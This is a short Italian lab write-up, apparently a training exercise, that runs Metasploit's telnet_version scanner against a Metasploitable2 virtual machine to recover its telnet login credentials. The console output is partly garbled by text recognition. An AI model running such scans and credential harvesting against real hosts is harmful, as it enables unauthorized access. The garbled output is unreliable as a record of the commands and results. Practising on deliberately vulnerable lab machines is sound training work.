<u>Completare una sessione di hacking con Metasploit sul</u> <u>servizio telnet per scoprire le credenziali di accesso</u>

Per riuscire nel recuperare le credenziali, si avvia sul terminale di kali, il software di Metasploit, eseguendo il comando *msfconsole*.

Una volta accertato con *nmap* che il protocollo telnet sia aperta, si procede su *metasploit*. Si avvia il payload *use auxiliary/scanner/telnet_telnet_version*

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliarv(
                                         i) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
            Current Setting Required Description
  PASSWORD
                            no
                                     The password for the specified username
  RHOSTS
                                     The target host(s), see https://docs.metasploit.com/docs/u
                            ves
                                     sing-metasploit/basics/using-metasploit.html
  RPORT
                                     The target port (TCP)
                            ves
  THREADS
                                     The number of concurrent threads (max one per host)
                            yes
  TIMEOUT
            30
                                     Timeout for the Telnet probe
                            yes
  USERNAME
                                     The username to authenticate as
View the full module info with the info, or info -d command.
                                        on) > set rhosts 192.168.1.150
rhosts ⇒ 192.168.1.150
                                   varsion) > show options
msf6 auxiliary(
Module options (auxiliary/scanner/telnet/telnet_version):
            Current Setting Required Description
  Name
  PASSWORD
                                     The password for the specified username
            192.168.1.150
                                     The target host(s), see https://docs.metasploit.com/docs/u
  RHOSTS
                            yes
                                     sing-metasploit/basics/using-metasploit.html
  RPORT
            23
                            ves
                                     The target port (TCP)
                                     The number of concurrent threads (max one per host)
  THREADS
                            yes
  TIMEOUT
            30
                            yes
                                     Timeout for the Telnet probe
  USERNAME
                                     The username to authenticate as
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
[+] 192.168.1.150:23
                        - 192.168.1.150:23 TELNET _
        \x0a _ -
          Oa\xOaWarning: Never expose this VM to an untrusted network!\xOa\xOaContact: msfdev[at]metasploit.co
[*] 192.100.1.130.23 Scanned 1 of [*] Auxiliary module execution completed
                                      1 hosts (100% complete)
msf6 auxiliary(
```

Nell' immagine, si può notare come l' exploit eseguito è riuscito nel recupero delle credenziali di accesso di Metasploitable2.